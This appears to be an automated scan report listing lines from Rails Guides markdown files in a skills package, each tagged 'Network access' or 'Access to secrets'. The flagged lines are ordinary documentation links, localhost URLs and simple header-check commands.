[DateAndTime::Calculations#beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_month - Network accessline 3275
[DateAndTime::Calculations#end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_month - Network accessline 3298
[DateAndTime::Calculations#quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-quarter - Network accessline 3299
[DateAndTime::Calculations#at_beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_quarter - Network accessline 3300
[DateAndTime::Calculations#at_end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_quarter - Network accessline 3301
[DateAndTime::Calculations#beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_quarter - Network accessline 3302
[DateAndTime::Calculations#end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_quarter - Network accessline 3318
[DateAndTime::Calculations#at_beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_year - Network accessline 3319
[DateAndTime::Calculations#at_end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_year - Network accessline 3320
[DateAndTime::Calculations#beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_year - Network accessline 3321
[DateAndTime::Calculations#end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_year - Network accessline 3352
[DateAndTime::Calculations#last_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_year - Network accessline 3353
[DateAndTime::Calculations#years_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_ago - Network accessline 3354
[DateAndTime::Calculations#years_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_since - Network accessline 3376
[DateAndTime::Calculations#last_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_month - Network accessline 3377
[DateAndTime::Calculations#months_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_ago - Network accessline 3378
[DateAndTime::Calculations#months_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_since - Network accessline 3391
[DateAndTime::Calculations#weeks_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_ago - Network accessline 3392
[DateAndTime::Calculations#weeks_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_since - Network accessline 3408
[Date#advance]: https://api.rubyonrails.org/classes/Date.html#method-i-advance - Network accessline 3428
[Date#change]: https://api.rubyonrails.org/classes/Date.html#method-i-change - Network accessline 3450
[ActiveSupport::Duration]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html - Network accessline 3476
[Date#at_beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-at_beginning_of_day - Network accessline 3477
[Date#at_midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-at_midnight - Network accessline 3478
[Date#beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-beginning_of_day - Network accessline 3479
[Date#end_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-end_of_day - Network accessline 3480
[Date#midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-midnight - Network accessline 3524
[DateTime#at_beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_minute - Network accessline 3525
[DateTime#beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_minute - Network accessline 3526
[DateTime#end_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_minute - Network accessline 3546
[Date#ago]: https://api.rubyonrails.org/classes/Date.html#method-i-ago - Network accessline 3547
[Date#since]: https://api.rubyonrails.org/classes/Date.html#method-i-since - Network accessline 3572
[DateTime#ago]: https://api.rubyonrails.org/classes/DateTime.html#method-i-ago - Network accessline 3573
[DateTime#at_beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_day - Network accessline 3574
[DateTime#at_beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_hour - Network accessline 3575
[DateTime#at_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_midnight - Network accessline 3576
[DateTime#beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_day - Network accessline 3577
[DateTime#beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_hour - Network accessline 3578
[DateTime#end_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_day - Network accessline 3579
[DateTime#end_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_hour - Network accessline 3580
[DateTime#in]: https://api.rubyonrails.org/classes/DateTime.html#method-i-in - Network accessline 3581
[DateTime#midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-midnight - Network accessline 3591
[DateTime.current]: https://api.rubyonrails.org/classes/DateTime.html#method-c-current - Network accessline 3606
[DateTime#seconds_since_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-seconds_since_midnight - Network accessline 3621
[DateTime#getutc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-getutc - Network accessline 3622
[DateTime#utc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc - Network accessline 3636
[DateTime#utc?]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc-3F - Network accessline 3671
[DateTime#advance]: https://api.rubyonrails.org/classes/DateTime.html#method-i-advance - Network accessline 3672
[DateTime#since]: https://api.rubyonrails.org/classes/DateTime.html#method-i-since - Network accessline 3708
[DateTime#change]: https://api.rubyonrails.org/classes/DateTime.html#method-i-change - Network accessline 3753
[Time#ago]: https://api.rubyonrails.org/classes/Time.html#method-i-ago - Network accessline 3754
[Time#change]: https://api.rubyonrails.org/classes/Time.html#method-i-change - Network accessline 3755
[Time#since]: https://api.rubyonrails.org/classes/Time.html#method-i-since - Network accessline 3765
[DateAndTime::Calculations#next_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_day-3F - Network accessline 3766
[DateAndTime::Calculations#prev_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_day-3F - Network accessline 3767
[DateAndTime::Calculations#today?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-today-3F - Network accessline 3768
[DateAndTime::Calculations#tomorrow?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-tomorrow-3F - Network accessline 3769
[DateAndTime::Calculations#yesterday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-yesterday-3F - Network accessline 3801
[DateAndTime::Calculations#all_day]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_day - Network accessline 3802
[DateAndTime::Calculations#all_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_month - Network accessline 3803
[DateAndTime::Calculations#all_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_quarter - Network accessline 3804
[DateAndTime::Calculations#all_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_week - Network accessline 3805
[DateAndTime::Calculations#all_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_year - Network accessline 3806
[Time.current]: https://api.rubyonrails.org/classes/Time.html#method-c-current - Network accessline 3820
[Time#next_day]: https://api.rubyonrails.org/classes/Time.html#method-i-next_day - Network accessline 3821
[Time#prev_day]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_day - Network accessline 3844
[Time#next_month]: https://api.rubyonrails.org/classes/Time.html#method-i-next_month - Network accessline 3845
[Time#prev_month]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_month - Network accessline 3867
[Time#next_year]: https://api.rubyonrails.org/classes/Time.html#method-i-next_year - Network accessline 3868
[Time#prev_year]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_year - Network accessline 3893
[DateAndTime::Calculations#last_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_quarter - Network accessline 3894
[DateAndTime::Calculations#next_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_quarter - Network accessline 3895
[DateAndTime::Calculations#prev_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_quarter - Network accessline 3959
[File.atomic_write]: https://api.rubyonrails.org/classes/File.html#method-c-atomic_write - Network accessline 3986
[NameError#missing_name?]: https://api.rubyonrails.org/classes/NameError.html#method-i-missing_name-3F - Network accessline 4011
[LoadError#is_missing?]: https://api.rubyonrails.org/classes/LoadError.html#method-i-is_missing-3F - Network accessline 4026
[Pathname#existence]: https://api.rubyonrails.org/classes/Pathname.html#method-i-existence
packages/autoskills/skills-registry/rails-guides/references/active_support_instrumentation.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 83
[`ActiveSupport::Notifications::Event`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications/Event.html - Network accessline 84
[`ActiveSupport::Notifications.monotonic_subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-monotonic_subscribe - Network accessline 85
[`ActiveSupport::Notifications.subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-subscribe - Network accessline 212
{ status: 302, location: "http://localhost:3000/posts/new", - Network accessline 213
status: 302, location: "http://localhost:3000/posts/new", request: <ActionDispatch::Request:0x00007ff1cb9bd7b8> - Network accessline 214
location: "http://localhost:3000/posts/new", - Network accessline 340
[`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html - Network accessline 341
[`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html - Network accessline 363
[`ActionMailbox::Base`]: https://api.rubyonrails.org/classes/ActionMailbox/Base.html - Network accessline 585
[`Continuation`]: https://api.rubyonrails.org/classes/ActiveJob/Continuation.html - Network accessline 1016
[ActiveSupport::Cache::FileStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html - Network accessline 1017
[ActiveSupport::Cache::MemCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html - Network accessline 1018
[ActiveSupport::Cache::MemoryStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html [ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html [ActiveSuppo - Network accessline 1019
[ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html [ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch [Ac - Network accessline 1020
[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch - Network accessline 1021
[ActiveSupport::Cache::Store#fetch_multi]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch_multi - Network accessline 1112
[`ActiveSupport::Notifications.instrument`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-instrument
packages/autoskills/skills-registry/rails-guides/references/api_app.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 18
Traditionally, when people said that they used Rails as an "API", they meant providing a programmatically accessible API alongside their web application. For example, GitHub provides [an API](https://developer.github.com) that you - Network accessline 19
providing a programmatically accessible API alongside their web application. For example, GitHub provides [an API](https://developer.github.com) that you can use from your own custom clients. - Network accessline 20
For example, GitHub provides [an API](https://developer.github.com) that you - Network accessline 27
For example, X uses its [public API](https://developer.x.com/) in its web - Network accessline 66
information. - Security: Rails detects and thwarts [IP spoofing attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles - Network accessline 67
- Security: Rails detects and thwarts [IP spoofing attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles cryptographic signatures in a [timing - Network accessline 68
attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles - Network accessline 69
cryptographic signatures in a [timing attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what an IP spoofing attack or a timing attack is? Exactly. - Network accessline 70
attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what - Network accessline 77
processing request headers and returning the correct response headers and status code. All you need to do is use the [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) - Network accessline 78
code. All you need to do is use the [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) check in your controller, and Rails will handle all of the HTTP details for you. - Network accessline 79
[`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) check in your controller, and Rails will handle all of the HTTP details for you. - HEAD requests: Rails will transparently convert `HEA - Network accessline 94
of HTTP. - URL Generation: The flip side of routing is URL generation. A good API based on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists) - Network accessline 95
- URL Generation: The flip side of routing is URL generation. A good API based on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists) for an example). - Network accessline 96
on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists) - Access to secretsline 146
[Credential-related source omitted] - Network accessline 236
With some data in the app, we can boot up the server and visit <http://localhost:3000/groups.json> to see our JSON data. - Network accessline 388
You can learn more about how to use `Rack::Sendfile` with popular front-ends in [the Rack::Sendfile documentation](https://rack.github.io/rack/main/Rack/Sendfile.html). - Network accessline 390
documentation](https://rack.github.io/rack/main/Rack/Sendfile.html). - Network accessline 419
fetch('/people', {
packages/autoskills/skills-registry/rails-guides/references/asset_pipeline.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 25
The Rails Asset Pipeline is managed by [**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an - Network accessline 26
[**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an - Network accessline 31
Propshaft focuses on essential asset management tasks and leaves more complex tasks, such as JavaScript and CSS bundling and minification, to specialized tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and - Network accessline 32
tasks, such as JavaScript and CSS bundling and minification, to specialized tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and [`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be - Network accessline 33
tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and - Network accessline 34
[`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be - Network accessline 40
The [Propshaft](https://github.com/rails/propshaft) gem is enabled by default in - Network accessline 48
NOTE: Before Rails 8, the asset pipeline was powered by [Sprockets](https://github.com/rails/sprockets). You can read about the - Network accessline 49
[Sprockets](https://github.com/rails/sprockets). You can read about the - Network accessline 50
[Sprockets Asset Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous versions of the Rails Guides. You can also explore the [evolution of asset - Network accessline 51
Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous - Network accessline 138
Tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) - Network accessline 139
integrates [Bun](https://bun.sh/), [esbuild](https://esbuild.github.io/), - Network accessline 140
[rollup.js](https://rollupjs.org/), or [Webpack](https://webpack.js.org/) - Network accessline 141
into your Rails application, while [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be used to process stylesheets that use [Tailwind - Network accessline 142
[`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be - Network accessline 143
used to process stylesheets that use [Tailwind CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/), [Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart - Network accessline 144
CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/), - Network accessline 145
[Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart - Network accessline 146
Sass](https://sass-lang.com/). - Network accessline 247
If you're using the [`turbo-rails`](https://github.com/hotwired/turbo-rails) gem - Network accessline 320
If you’re using bundlers like [Webpack](https://webpack.js.org/) or - Network accessline 321
[esbuild](https://esbuild.github.io/), you should let the bundlers handle the - Network accessline 341
process by adding them to `config.assets.excluded_paths`. This is useful if, for example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart Sass](https://sass-lang.com/), and you don’t want these files to be part of th - Network accessline 342
example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart Sass](https://sass-lang.com/), and you don’t want these files to be part of the asset load path. - Network accessline 343
Sass](https://sass-lang.com/), and you don’t want these files to be part of the - Network accessline 447
Open your web browser and navigate to `http://localhost:3000`. You should - Network accessline 470
When using JavaScript bundlers such as [esbuild](https://esbuild.github.io/) or - Network accessline 471
[Webpack](https://webpack.js.org/) alongside Propshaft, the workflow combines - Network accessline 591
CDN stands for [Content Delivery Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are - Network accessline 592
Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser. - Network accessline 633
NOTE: You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as `http://` or - Network accessline 634
domain, you do not need to specify a protocol or "scheme" such as `http://` or - Network accessline 635
`https://`. When a web page is requested, the protocol in the link to your asset - Network accessline 638
You can also set this value through an [environment variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a - Network accessline 639
variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a - Network accessline 656
Will be rendered as full CDN URLs like `http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for - Network accessline 657
`http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for - Network accessline 696
One way to check the headers are cached properly in your CDN is by using [curl]( https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You - Network accessline 697
https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You - Network accessline 702
$ curl -I http://www.example/assets/application- - Network accessline 718
$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- - Network accessline 767
[`Cache-Control`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control - Network accessline 768
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control - Network accessline 776
http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png - Network accessline 782
http://mycdnsubdomain.fictional-cdn.com/assets/smile.png - Network accessline 836
In the past, pre-processors like [Sass](https://sass-lang.com/) and - Network accessline 837
[Less](https://lesscss.org/) were essential for CSS features such as variables - Network accessline 865
Compression encodes files in a more efficient format to reduce their size further when delivered to users. A common technique is [Gzip compression](https://en.wikipedia.org/wiki/Gzip). - Network accessline 867
compression](https://en.wikipedia.org/wiki/Gzip). - Network accessline 907
Propshaft is intentionally simpler than [Sprockets](https://github.com/rails/sprockets-rails), which may make migrating - Network accessline 908
[Sprockets](https://github.com/rails/sprockets-rails), which may make migrating - Network accessline 909
from Sprockets a fair amount of work. This is especially true if you rely on Sprockets for tasks like transpiling [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/), - Network accessline 910
Sprockets for tasks like transpiling [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/), or if you're using gems that provide this functionality. In such cases, you'll - Network accessline 911
[TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/), - Network accessline 913
either need to stop transpiling or switch to a Node.js-based transpiler, such as those provided by [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or - Network accessline 914
those provided by [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or [`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more - Network accessline 915
[`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or - Network accessline 916
[`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more - Network accessline 954
For more information, you can read the [detailed guide on how to migrate from Sprockets to Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md). - Network accessline 956
Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md). - Network accessline 961
and as the web evolved, we began to see more JavaScript-heavy applications. In The Rails Doctrine we believe that [The Menu Is Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on - Network accessline 962
The Rails Doctrine we believe that [The Menu Is Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on delivering a production-ready setup with modern browsers by default. - Network accessline 963
Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on - Network accessline 973
[`jsbundling-rails`](https://github.com/rails/jsbundling-rails) is a gem that - Network accessline 974
integrates modern JavaScript bundlers into your Rails application. It allows you to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or - Network accessline 975
to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh), - Network accessline 976
[esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or - Network accessline 977
[Webpack](https://webpack.js.org/), offering a runtime-dependent approach for - Network accessline 1009
- Utilize libraries or frameworks that depend on a build step. For example, projects requiring transpilation—such as those using [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/), - Network accessline 1010
projects requiring transpilation—such as those using [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/), or React JSX—benefit greatly from `jsbundling-rails`. These tools rely on a - Network accessline 1011
[Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/), - Network accessline 1021
[`cssbundling-rails`](https://github.com/rails/cssbundling-rails) integrates - Network accessline 1048
- Use CSS frameworks like [Tailwind CSS](https://tailwindcss.com/), - Network accessline 1049
[Bootstrap](https://getbootstrap.com/), or [Bulma](https://bulma.io/) that - Network accessline 1050
require processing during development or deployment. - Need advanced CSS capabilities such as custom preprocessing with [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/) - Network accessline 1051
- Need advanced CSS capabilities such as custom preprocessing with [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/) plugins. - Network accessline 1052
[PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/) - Network accessline 1058
**NOTE**: Unlike [`dartsass-rails`](https://github.com/rails/dartsass-rails) or - Network accessline 1059
[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails), which use - Network accessline 1060
standalone versions of [Dart Sass](https://sass-lang.com/) and [Tailwind - Network accessline 1061
CSS](https://tailwindcss.com/), `cssbundling-rails` introduces a Node.js - Network accessline 1062
dependency. This makes it a good choice for applications already relying on Node for JavaScript processing with gems like `jsbundling-rails`. However, if you're using [`importmap-rails`](https://github.com/rails/importmap-rails) for - Network accessline 1063
for JavaScript processing with gems like `jsbundling-rails`. However, if you're using [`importmap-rails`](https://github.com/rails/importmap-rails) for JavaScript and prefer to avoid Node.js, standalone alternatives like - Network accessline 1064
using [`importmap-rails`](https://github.com/rails/importmap-rails) for - Network accessline 1065
JavaScript and prefer to avoid Node.js, standalone alternatives like [`dartsass-rails`](https://github.com/rails/dartsass-rails) or [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a - Network accessline 1066
[`dartsass-rails`](https://github.com/rails/dartsass-rails) or - Network accessline 1067
[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a - Network accessline 1076
[`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) is a wrapper - Network accessline 1077
gem that integrates [Tailwind CSS](https://tailwindcss.com/) into your Rails - Network accessline 1078
application. By bundling Tailwind CSS with a [standalone executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need for Node.js or additional JavaScript dependencies. This makes it a lightweight - Network accessline 1079
executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need - Network accessline 1105
- Want to use [Tailwind CSS](https://tailwindcss.com/) without introducing a - Network accessline 1117
[`importmap-rails`](https://github.com/rails/importmap-rails) enables a - Network accessline 1118
Node.js-free approach to managing JavaScript in Rails applications. It leverages modern browser support for [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) - Network accessline 1119
modern browser support for [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) to load JavaScript directly in the browser without requiring bundling or - Network accessline 1120
Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) - Network accessline 1130
- JavaScript dependencies are managed using the `bin/importmap` command, which pins modules to URLs, typically hosted on CDNs like [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready - Network accessline 1131
pins modules to URLs, typically hosted on CDNs like [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready versions of libraries. This eliminates the need for `node_modules` or a - Network accessline 1132
[jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready - Network accessline 1154
- Do not require complex JavaScript features like transpiling or bundling. - Use modern JavaScript without relying on tools like [Babel](https://babeljs.io/). - Network accessline 1156
[Babel](https://babeljs.io/).
packages/autoskills/skills-registry/rails-guides/references/association_basics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 30
When you set up an association, Rails helps define and manage the [Primary Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign - Network accessline 31
Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign - Network accessline 32
Key](https://en.wikipedia.org/wiki/Foreign_key) relationships between instances - Network accessline 161
[`belongs_to`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to - Network accessline 162
https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to - Network accessline 163
[`has_and_belongs_to_many`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many [`has_many`]: - Network accessline 164
https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many - Network accessline 165
[`has_many`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many [`has_one`]: - Network accessline 166
https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many - Network accessline 168
https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one - Network accessline 264
We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to). - Network accessline 266
API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to). - Network accessline 489
We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one). - Network accessline 491
API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one). - Network accessline 691
If you wish to enforce [referential integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database - Network accessline 692
integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database - Network accessline 731
We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many). - Network accessline 733
API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many). - Network accessline 767
[`collection<<`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C - Network accessline 768
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C - Network accessline 769
[`collection.build`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build [`collection.clear`]: - Network accessline 770
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build - Network accessline 771
[`collection.clear`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear [`collection.create`]: - Network accessline 772
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear - Network accessline 773
[`collection.create`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create [`collection.create!`]: - Network accessline 774
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create - Network accessline 775
[`collection.create!`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21 [`collection.delete`]: - Network accessline 776
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21 - Network accessline 777
[`collection.delete`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete [`collection.destroy`]: - Network accessline 778
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete - Network accessline 779
[`collection.destroy`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy [`collection.empty?`]: - Network accessline 780
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy - Network accessline 781
